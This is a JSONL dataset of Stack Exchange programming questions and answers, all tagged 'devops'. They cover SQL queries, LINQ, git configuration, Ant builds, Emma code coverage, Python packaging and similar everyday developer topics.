{"id": "hf_2cedaa5afe01", "question": "<p>As part of a larger web-app (using CakePHP), I'm putting together a simple blog system. The relationships are exceedingly simple: each User has a Blog, which has many Entries, which have many Comments.</p>\n\n<p>An element I'd like to incorporate is a list of \"Popular Entries.\" Popular Entries have been defined as those with the most Comments in the last month, and ultimately they need to be ordered by the number of recent Comments.</p>\n\n<p>Ideally, I'd like the solution to stay within Cake's Model data-retrieval apparatus (<code>Model-&gt;find()</code>, etc.), but I'm not sanguine about this.</p>\n\n<p>Anyone have a clever/elegant solution? I'm steeling myself for some wild SQL hacking to make this work...</p>\n", "question_body": "", "answer": "Shouldn't be too bad, you just need a group by (this is off the type of my head, so forgive syntax errors):\n```\n```\nSELECT entry-id, count(id) AS c \nFROM comment \nWHERE comment.createdate >= DATE_SUB(CURDATE(), INTERVAL 1 MONTH) \nGROUP BY entry-id \nORDER BY c DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.642810"}
{"id": "hf_92430d2b9fd0", "question": "<pre><code>var e1 = new E1();\ne1.e2s.Add(new e2()); //e2s is null until e1 is saved, i want to save them all at the same time\ncontext.e1s.imsertonsubmit(e1);\ncontext.submitchanges();\n</code></pre>\n", "question_body": "", "answer": "Well - I don't know if your initial code block would work, but I'm guessing you have to mark your new e2 as insert on submit. Thus:\n```\n```\nvar e1 = new E1();\nvar e2 = new e2();\ne1.e2s.Add(e2); //e2s is null until e1 is saved, i want to save them all at the same time\ncontext.e1s.insertonsubmit(e1);\ncontext.e2s.insertonsubmit(e2);\ncontext.submitchanges();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.685061"}
{"id": "hf_f76d3a26b6f5", "question": "<p>How can you import a foxpro DBF file in SQL Server?</p>\n", "question_body": "", "answer": "Use a linked server or use openrowset, example\n```\n```\nSELECT * into SomeTable\nFROM OPENROWSET('MSDASQL', 'Driver=Microsoft Visual FoxPro Driver;\nSourceDB=\\\\SomeServer\\SomePath\\;\nSourceType=DBF',\n'SELECT * FROM SomeDBF')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.709305"}
{"id": "hf_376086915107", "question": "<p><code>System.IO.Directory.GetFiles()</code> returns a <code>string[]</code>.  What is the default sort order for the returned values?  I'm assuming by name, but if so how much does the current culture effect it?  Can you change it to something like creation date? </p>\n\n<p><strong>Update:</strong> MSDN points out that the sort order is not guaranteed for .Net 3.5, but the 2.0 version of the page doesn't say anything at all and neither page will help you sort by things like creation or modification time.  That information is lost once you have the array (it contains only strings).  I could build a comparer that would check for each file it gets, but that means accessing the file system repeatedly when presumably the .GetFiles() method already does this.  Seems very inefficient.</p>\n", "question_body": "", "answer": "```\n```\nDim Files() As String\nFiles = System.IO.Directory.GetFiles(\"C:\\\")\nArray.Sort(Files)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.757450"}
{"id": "hf_e5e72d25b8a4", "question": "<p>I'm looking for a graph algorithm with some unusual properties.</p>\n\n<p>Each edge in the graph is either an \"up\" edge or a \"down\" edge.</p>\n\n<p>A valid path can go an indefinite number of \"up\"'s followed by an indefinite number of \"down\"'s, or vice versa. However it cannot change direction more than once.</p>\n\n<p>E.g., a valid path might be A \"up\" B \"up\" C \"down\" E \"down\" F\nan invalid path might be A \"up\" B \"down\" C \"up\" D</p>\n\n<p>What is a good algorithm for finding the shortest valid path between two nodes? What about finding all of the equal length shortest paths?</p>\n", "question_body": "", "answer": "Assuming you don't have any heuristics, a variation of\ndijkstra's algorithm\nshould suffice pretty well. Every time you consider a new edge, store information about its \"ancestors\". Then, check for the invariant (only one direction change), and backtrack if it is violated.\nThe ancestors here are all the edges that were traversed to get to the current node, along the shortest path. One good way to store the ancestor information would be as a pair of numbers. If U is up, and D is down, a particular edge's ancestors could be\n```\nUUUDDDD\n```\n, which would be the pair\n```\n3, 4\n```\n. You will not need a third number, because of the invariant.\nSince we have used dijkstra's algorithm, finding multiple shortest paths is already taken care of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.828564"}
{"id": "hf_1859f6c82ae1", "question": "<p>I frequently find myself writing code like this:</p>\n\n<pre><code>List&lt;int&gt; list = new List&lt;int&gt; { 1, 3, 5 };\nforeach (int i in list) {\n    Console.Write(\"{0}\\t\", i.ToString()); }\nConsole.WriteLine();\n</code></pre>\n\n<p>Better would be something like this:</p>\n\n<pre><code>List&lt;int&gt; list = new List&lt;int&gt; { 1, 3, 5 };\nConsole.WriteLine(\"{0}\\t\", list);\n</code></pre>\n\n<p>I suspect there's some clever way of doing this, but I don't see it. Does anybody have a better solution than the first block? </p>\n", "question_body": "", "answer": "Do this:\n```\n```\nlist.ForEach(i => Console.Write(\"{0}\\t\", i));\n```\n```\nEDIT: To others that have responded - he wants them all on the same line, with tabs between them. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.883325"}
{"id": "hf_cf6d7ee896e2", "question": "<p>I was wondering if anyone could point to an Open Source date utility class that is fairly robust. I find myself rolling my own when I want to do a lot of things I take for granted in C# and Java. For instance I did find a decent example of a DateDiff() function that I tore apart and another DatePart() function. Another examples would be parsing different date/time formats. I'm trying to avoid reinventing something if it's already built.</p>\n\n<p>Another possibility may be a nice set of Javascript files that I can convert to ActionScript 3. So far I've found <a href=\"http://www.datejs.com\" rel=\"nofollow noreferrer\">DateJS</a> but I want to get a good idea of what is out there. </p>\n", "question_body": "", "answer": "as3corelib\nhas the\nDateUtil\nclass and it should be pretty reliable since it's written by some Adobe employees. I haven't encountered any problems with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.907176"}
{"id": "hf_067c5eb13616", "question": "<p>I'm not too sure what is going on here, but sometimes a particular file in my repository will change the case of its name. e.g.,:</p>\n<p>before: <code>File.h</code></p>\n<p>after: <code>file.h</code></p>\n<p>I don't really care why this is happening, but this causes git to think it is a new file, and then I have to go and change the file name back. Can you just make git ignore case changes?</p>\n<p><strong>[edit]</strong>\nI suspect it is Visual Studio doing something weird with that particular file, because it seems to happen most often when I open and save it after changes. I don't have any way to fix bugs in VS however, but git should be a bit more capable I hope.</p>\n", "question_body": "", "answer": "Since version 1.5.6 there is an\n```\nignorecase\n```\noption available in the\n```\n[core]\n```\nsection of\n```\n.git/config\n```\ne.g. add\n```\nignorecase = true\n```\nTo change it for just one repo, from that folder run:\n```\n```\ngit config core.ignorecase true\n```\n```\nTo change it globally:\n```\n```\ngit config --global core.ignorecase true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.943456"}
{"id": "hf_4bcf85288d4e", "question": "<p>So I'm using an IDataReader to hydrate some business objects, but I don't know at runtime exactly what fields will be in the reader.  Any fields that aren't in the reader would be left null on the resulting object.  How do you test if a reader contains a specific field without just wrapping it in a try/catch?</p>\n", "question_body": "", "answer": "You can't just test reader[\"field\"] for null or DBNull because a IndexOutOfRangeException is thrown if the column isn't in the reader.\nThe code I use in my mapping layer for creating domain objects and the stored procedures that use the mapping layer might have different column names is below; you could modify it to not throw an exception if the column isn't found and return default(t) or null.\nI understand this isn't the most elegant or optimal solution (and really, if you can avoid it then you should), however, legacy stored procedures or Sql queries might warrant a work-around.\n```\n```\n/// <summary>\n    /// Grabs the value from a specific datareader for a list of column names.\n    /// </summary>\n    /// <typeparam name=\"T\">Type of the value.</typeparam>\n    /// <param name=\"reader\">Reader to grab data off of.</param>\n    /// <param name=\"columnNames\">Column names that should be interrogated.</param>\n    /// <returns>Value from the first correct column name or an exception if none of the columns exist.</returns>\n    public static T GetColumnValue<T>(IDataReader reader, params string[] columnNames)\n    {\n        bool foundValue = false;\n        T value = default(T);\n        IndexOutOfRangeException lastException = null;\n\n        foreach (string columnName in columnNames)\n        {\n            try\n            {\n                int ordinal = reader.GetOrdinal(columnName);\n                value = (T)reader.GetValue(ordinal);\n                foundValue = true;\n            }\n            catch (IndexOutOfRangeException ex)\n            {\n                lastException = ex;\n            }\n        }\n\n        if (!foundValue)\n        {\n            string message = string.Format(\"Column(s) {0} could not be not found.\",\n                string.Join(\", \", columnNames));\n\n            throw new IndexOutOfRangeException(message, lastException);\n        }\n\n        return value;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.968229"}
{"id": "hf_7aa40b0d676d", "question": "<p>Right now my ant task looks like.</p>\n\n<pre><code>&lt;javadoc sourcepath=\"${source}\" destdir=\"${doc}\"&gt;\n    &lt;link href=\"http://java.sun.com/j2se/1.5.0/docs/api/\" /&gt;\n&lt;/javadoc&gt;\n</code></pre>\n\n<p>And I'm getting this warning:</p>\n\n<pre><code>javadoc: warning - Error fetching URL: http://java.sun.com/j2se/1.5.0/docs/api/package-list\n</code></pre>\n\n<p>How do I get the javadoc to properly link to the API?  I am behind a proxy.</p>\n", "question_body": "", "answer": "You probably need the\nhttp.proxyHost and http.proxyPort system properties\nset. For example,\n```\nANT_OPTS=\"-Dhttp.proxyHost=proxy.y.com\" ant doc\n```\nAlternatively, you could set the \"offline\" flag and provide a package list, but that could be a pain for the Java core.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:55.992074"}
{"id": "hf_b126e5e7fb61", "question": "<p>What is the best way to sort the results of a sql query into a random order within a stored procedure?</p>\n", "question_body": "", "answer": "```\n```\nselect foo from Bar order by newid()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.014913"}
{"id": "hf_fd6f5ae7e6c4", "question": "<p>I have a team lead who seems to think that business logic is very subjective, to the point that if my stored procedure has a <code>WHERE ID = @ID</code> — he would call this <em>“business logic”</em></p>\n\n<p>What approach should I take to define <em>“business logic”</em> in a very objective way without offending my team lead?</p>\n", "question_body": "", "answer": "I really think you just need to agree on a clear definition of what you mean when you say \"business logic\".  If you need to be \"politically sensitive\", you could even craft the definition around your team lead's understanding, then come up with another term (\"domain rules\"?) that defines what you want to talk about.\nWords and terms are relatively subjective -- of course, once you leave that company you will need to 're-learn' industry standards, so it's always better to stick with them if you can, but the main goal is to communicate clearly and get work done.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.038120"}
{"id": "hf_9c9880de6fd8", "question": "<p>How do I setup an Ant task to generate <a href=\"http://emma.sourceforge.net\" rel=\"noreferrer\">Emma</a> code coverage reports?</p>\n", "question_body": "", "answer": "To answer questions about where the source and instrumented directories are (these can be switched to whatever your standard directory structure is):\n```\n```\n<property file=\"build.properties\" />\n<property name=\"source\" location=\"src/main/java\" />\n<property name=\"test.source\" location=\"src/test/java\" />\n<property name=\"target.dir\" location=\"target\" />\n<property name=\"target\" location=\"${target.dir}/classes\" />\n<property name=\"test.target\" location=\"${target.dir}/test-classes\" />\n<property name=\"instr.target\" location=\"${target.dir}/instr-classes\" />\n```\n```\nClasspaths:\n```\n```\n<path id=\"compile.classpath\">\n  <fileset dir=\"lib/main\">\n    <include name=\"*.jar\" />\n  </fileset>\n</path>\n\n<path id=\"test.compile.classpath\">\n  <path refid=\"compile.classpath\" />\n  <pathelement location=\"lib/test/junit-4.6.jar\" />\n  <pathelement location=\"${target}\" />\n</path>\n\n<path id=\"junit.classpath\">\n  <path refid=\"test.compile.classpath\" />\n  <pathelement location=\"${test.target}\" />\n</path>\n```\n```\nFirst you need to setup where Ant can find the Emma libraries:\n```\n```\n<path id=\"emma.lib\" >\n    <pathelement location=\"${emma.dir}/emma.jar\" />\n    <pathelement location=\"${emma.dir}/emma_ant.jar\" />\n</path>\n```\n```\nThen import the task:\n```\n```\n<taskdef resource=\"emma_ant.properties\" classpathref=\"emma.lib\" />\n```\n```\nThen instrument the code:\n```\n```\n<target name=\"coverage.instrumentation\">\n    <mkdir dir=\"${instr.target}\"/>\n    <mkdir dir=\"${coverage}\"/>\n    <emma>\n        <instr instrpath=\"${target}\" destdir=\"${instr.target}\" metadatafile=\"${coverage}/metadata.emma\" mode=\"copy\">\n            <filter excludes=\"*Test*\"/>\n        </instr>\n    </emma>\n    <!-- Update the that will run the instrumented code -->\n    <path id=\"test.classpath\">\n        <pathelement location=\"${instr.target}\"/>\n        <path refid=\"junit.classpath\"/>\n        <pathelement location=\"${emma.dir}/emma.jar\"/>\n    </path>\n</target>\n```\n```\nThen run a target with the proper VM arguments like:\n```\n```\n<jvmarg value=\"-Demma.coverage.out.file=${coverage}/coverage.emma\" />\n<jvmarg value=\"-Demma.coverage.out.merge=true\" />\n```\n```\nFinally generate your report:\n```\n```\n<target name=\"coverage.report\" depends=\"coverage.instrumentation\">\n    <emma>\n        <report sourcepath=\"${source}\" depth=\"method\">\n            <fileset dir=\"${coverage}\" >\n                <include name=\"*.emma\" />\n            </fileset>\n            <html outfile=\"${coverage}/coverage.html\" />\n        </report>\n    </emma>\n</target>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.077337"}
{"id": "hf_fe8060afb4bf", "question": "<p>I have a file that I want to include in Python but the included file is fairly long and it'd be much neater to be able to split them into several files but then I have to use several include statements.</p>\n\n<p>Is there some way to group together several files and include them all at once?</p>\n", "question_body": "", "answer": "Yes, take a look at the \"6.4 Packages\" section in\nhttp://docs.python.org/tut/node8.html\n:\nBasically, you can place a bunch of files into a directory and add an __init__.py file to the directory.  If the directory is in your PYTHONPATH or sys.path, you can do \"import directoryname\" to import everything in the directory or \"import directoryname.some_file_in_directory\" to import a specific file that is in the directory.\nThe __init__.py files are required to make Python treat the directories as containing packages; this is done to prevent directories with a common name, such as \"string\", from unintentionally hiding valid modules that occur later on the module search path. In the simplest case, __init__.py can just be an empty file, but it can also execute initialization code for the package or set the __all__ variable, described later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.177026"}
{"id": "hf_104e9a097818", "question": "<p>Visual Studio Solution files contain two GUID's per project entry. I figure one of them is from the AssemblyInfo.cs</p>\n\n<p>Does anyone know for sure where these come from, and what they are used for?</p>\n", "question_body": "", "answer": "According to MSDN\n:\n[The\n```\nProject\n```\n] statement contains the\n  unique project GUID and the project\n  type GUID. This information is used by\n  the environment to find the project\n  file or files belonging to the\n  solution, and the VSPackage required\n  for each project. The project GUID is\n  passed to IVsProjectFactory to load\n  the specific VSPackage related to the\n  project, then the project is loaded by\n  the VSPackage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.200235"}
{"id": "hf_e9049b2c0510", "question": "<p>In python, there are some special variables and filenames that are surrounded by double-underscores.  For example, there is the</p>\n\n<pre><code>__file__ \n</code></pre>\n\n<p>variable.  I am only able to get them to show up correctly inside of a code block.  What do I need to enter to get double underscores in regular text without having them interpreted as an emphasis?</p>\n", "question_body": "", "answer": "__file__\nPut a backslash before the first underscore.\nLike this:\n```\n```\n\\__file__\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.235065"}
{"id": "hf_f5cc7922ae49", "question": "<p>We are currently looking to adopt some type of \"standard\" developer framework and have looked into using the Enterprise Library.  Would you recommend using these blocks as the foundation for software development, or should we do something <em>home grown</em>?</p>\n", "question_body": "", "answer": "Like all good answers to architecture and programming questions, the answer is \"it depends\".\nIt depends on how unique your data access and object design needs are.  It may also depend on how you plan on supporting your application in the long term.  Finally, it greatly depends on the skill level of your developers.\nThere isn't a one-size-fits-all answer to this question, but generally, if your main focus is on cranking out software that provides some business value, pick out an existing framework and run with it.  Don't spend your cycles building something that won't immediately drive business profits (i.e. increases revenues and/or decreases costs).\nFor example, one of my organization's projects is core to the operations of the company, needs to be developed and deployed as soon as possible, and will have a long life.  For these reasons, we picked CSLA with some help from Enterprise Library.  We could have picked other frameworks, but the important thing is that we picked a framework that seemed like it would fit well with our application and our developer skillset and we ran with it.\nIt gave us a good headstart and a community from which we can get support.  We immediately started with functionality that provided business value and were not banging our heads against the wall trying to build a framework.\nWe are also in the position where we can hire people in the future who have most likely had exposure to our framework, giving them a really good headstart.  This should reduce long-term support costs.\nAre there things we don't use and overhead that we may not need?  Perhaps.  But, I'll trade that all day long for delivering business value in code early and often.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.287065"}
{"id": "hf_c4bc58db7cce", "question": "<p>I am writing a DDL script to drop a number of tables but need to identify all dependencies for those tables first. Those dependencies include foreign key constraints, stored procedures, views, etc. Preferably, I want to programmatically script out dropping those dependencies using the system tables/views before dropping the dependent table.</p>\n", "question_body": "", "answer": "You can use the sp_depends stored procedure to do this:\n```\nUSE AdventureWorks\nGO\nEXEC sp_depends @objname = N'Sales.Customer' ;\n```\nhttp://msdn.microsoft.com/en-us/library/ms189487(SQL.90).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.309806"}
{"id": "hf_2cd6e3539f87", "question": "<p>Can anyone point me to a good introduction to coding against the paypal API?</p>\n", "question_body": "", "answer": "I would suggest you start by downloading the SDK:\nhttps://www.paypal.com/IntegrationCenter/ic_sdk-resource.html\nThe SDK includes the following:\nClient libraries that call PayPal APIs\nAPI documentation for SDK components\nSample code for Website Payments Pro and various administrative APIs\nTesting console that can verify connectivity to PayPal and submit API calls\nYou may also want to take a look at\nEncore Systems .NET* Class Library for PayPal SOAP API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.333432"}
{"id": "hf_77bc575be641", "question": "<p>Does filling out HTML meta description/keyword tags matter for SEO?</p>\n", "question_body": "", "answer": "Google will use meta tags, but the description, to better summarize your site.  They won't help to increase your page rank.\nSee:\nhttp://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=79812\nEDIT\n: @Petr, are you sure that meta tags influence page rank?  I am pretty sure that they don't, but if you have some references, I'd love to learn more about this.  I have seen\nthis\n, from the Official Google Webmaster Central Blog, which is what leads me to believe that they don't:\nEven though we sometimes use the\n  description meta tag for the snippets\n  we show, we still don't use the\n  description meta tag in our ranking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.360928"}
{"id": "hf_f6d97995ef2c", "question": "<p>From the <em>Immediate Window</em> in Visual Studio: </p>\n\n<pre><code>&gt; Path.Combine(@\"C:\\x\", \"y\")\n\"C:\\\\x\\\\y\"\n&gt; Path.Combine(@\"C:\\x\", @\"\\y\")\n\"\\\\y\"\n</code></pre>\n\n<p>It seems that they should both be the same.  </p>\n\n<p>The old FileSystemObject.BuildPath() didn't work this way...</p>\n", "question_body": "", "answer": "Not knowing the actual details, my guess is that it makes an attempt to join like you might join relative URIs. For example:\n```\n```\nurljoin('/some/abs/path', '../other') = '/some/abs/other'\n```\n```\nThis means that when you join a path with a preceding slash, you are actually joining one base to another, in which case the second gets precedence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.402063"}
{"id": "hf_a096fea30b64", "question": "<p>In trying to figure out <a href=\"https://stackoverflow.com/questions/52981/cannot-delete-from-the-database\">this problem</a> (which is still unsolved and I still have no clue what is going on), I am wondering if maybe an external reference to the table in question is causing the problem.  For example, a trigger or view or some other such thing.</p>\n\n<p>Is there an easy way to find all references to a given database table?  Including all views, triggers, constraints, or anything at all, preferably from the command line, and also preferably without a 3rd party tool (we are using db2).</p>\n", "question_body": "", "answer": "Wow, I wouldn't have thought it, but there seems to be.. Good ole DB2.\nI find the publib db2 docs view very very handy by the way:\nhttp://publib.boulder.ibm.com/infocenter/db2luw/v8//index.jsp\nI just found the \"SYSCAT.TABDEP\" catalog view in it, which seems to contain more or less what you asked for. I suspect for anything not covered there you'll have to trawl through the rest of the syscat tables which are vast. (Unfortunately I can't seem to link you to the exact page on SYSCAT.TABDEP itself, the search facility should lead you to it fairly easily though).\nMost databases these days have a set of tables which contain data about the layout of your actual schema tables, quite handy for this sort of thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.472088"}
{"id": "hf_a5780f936584", "question": "<p>What do you use to capture webpages, diagram/pictures and code snippets for later reference?</p>\n", "question_body": "", "answer": "Evernote\nhttp://www.evernote.com\nand delicious\nhttp://www.delicious.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.494121"}
{"id": "hf_158c453cf576", "question": "<p>what I'm after is something I can feed a number into and it will return the highest order bit.  I'm sure there's a simple way.  Below is an example output (left is the input)</p>\n\n<pre>1 -> 1\n2 -> 2\n3 -> 2\n4 -> 4\n5 -> 4\n6 -> 4\n7 -> 4\n8 -> 8\n9 -> 8\n...\n63 -> 32</pre>\n", "question_body": "", "answer": "Continually remove the low order bit comes to mind...\n```\n```\nint highest_order_bit( int x )\n{\n    int y = x;\n    do { \n        x = y;\n        y = x & (x-1); //remove low order bit\n    }\n    while( y != 0 );\n    return x;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.517520"}
{"id": "hf_dbd6b14bd46a", "question": "<p>Given:</p>\n<pre><code>e = 'a' + 'b' + 'c' + 'd'\n</code></pre>\n<p>How do I write the above in two lines?</p>\n<pre><code>e = 'a' + 'b' +\n    'c' + 'd'\n</code></pre>\n", "question_body": "", "answer": "Put a\n```\n\\\n```\nat the end of your line or enclose the statement in parens\n```\n( .. )\n```\n. From\nIBM\n:\n```\n```\nb = ((i1 < 20) and\n     (i2 < 30) and\n     (i3 < 40))\n```\n```\nor\n```\n```\nb = (i1 < 20) and \\\n    (i2 < 30) and \\\n    (i3 < 40)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.541176"}
{"id": "hf_e1e1994cb4dc", "question": "<p>I have two elements:</p>\n\n<pre><code>&lt;input a&gt;\n&lt;input b onclick=\"...\"&gt;\n</code></pre>\n\n<p>When b is clicked, I want to access a and manipulate some of its data. A does not have a globally unique name, so <code>document.getElementsByName</code> is out. Looking into the event object, I thought <code>event.target.parentNode</code> would have some function like <code>getElementsByName</code>, but this does not seem to be the case with &lt;td&gt;s. Is there any simple way to do this?</p>\n", "question_body": "", "answer": "If\n```\na\n```\nand\n```\nb\n```\nare next to each other and have the same parent, you can use the\n```\nprevSibling\n```\nproperty of\n```\nb\n```\nto find\n```\na\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.649735"}
{"id": "hf_c4e44d81ff4a", "question": "<p>I'm trying to use the <a href=\"http://optiflag.rubyforge.org/discussion.html\" rel=\"nofollow noreferrer\">Optiflag</a> package in my Ruby code and whenever I try to do the necessary <code>require optiflag.rb</code>, my program fails with the standard <code>no such file to load -- optiflag</code> message. I added the directory with that library to my $PATH variable, but it's still not working. Any ideas?</p>\n", "question_body": "", "answer": "is it a gem? Are you doing\n```\n```\nrequire 'rubygems'\nrequire 'optiflag'\n```\n```\nor equivalent?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.684657"}
{"id": "hf_60e20924cef5", "question": "<p>I'm trying to use some data from a PlanPlusOnline account.  They only provide a java web services API.  The server for the site where the data will be used does not allow me to install Tomcat (edit: or a JVM for that matter).  I'm not going to lie, I am a Java software engineer, and I do some web work on the side.  I'm not familiar with web services or servlets, but I was willing to give it a shot.  I'd much rather they have JSON access to the data, but as far as I know they don't.  Any ideas?</p>\n\n<p>EDIT: to clarify.   The web service provided by planplusonline is Java based.  I am trying to access the data from this web service without using Java.  I believe this is possible now, but I need to do more research.  Anyone who can help point me in the right direction is appreciated.</p>\n", "question_body": "", "answer": "Are you trying to implement a client to a web service hosted somewhere else?  If so, Java's not necessary.  You can do web service clients in\n.NET\n,\nPHP\n,\nRuby\n, or pretty much any modern web technology out there.  All you need is a WSDL document to provide metadata about how to invoke the services.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.717402"}
{"id": "hf_a4345c249ddb", "question": "<p>I come from a world that favors building your own rather than rely on libraries and frameworks built by others. After escaping this world I have found the joy, and ease, of using such tools as Typed DataSets within Visual Studio. So besides the loss of flexibility what else do you lose? Are there performance factors (disregarding the procs vs dynamic sql debate)? Limitations?</p>\n", "question_body": "", "answer": "Performance is improved with typed datasets over untyped datasets (though I've never found  performance issues with trivial things like that worth worrying about).\nI'd say the biggest pain is just keeping them in sync with your database--I can't speak for VS 2008 but prior versions do not provide good support for this. I literally drag the procs onto the designer everytime the resultset's schema changes. Not fun.\nBut, you do get compile time type checking which is great and things like Customer.Name instead of Dataset.Tables(0).Rows(0)(\"Name\").\nSo, if your schema is relatively static, they may be worth it, but otherwise, I wouldn't bother.\nYou could also look into a real ORM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.779680"}
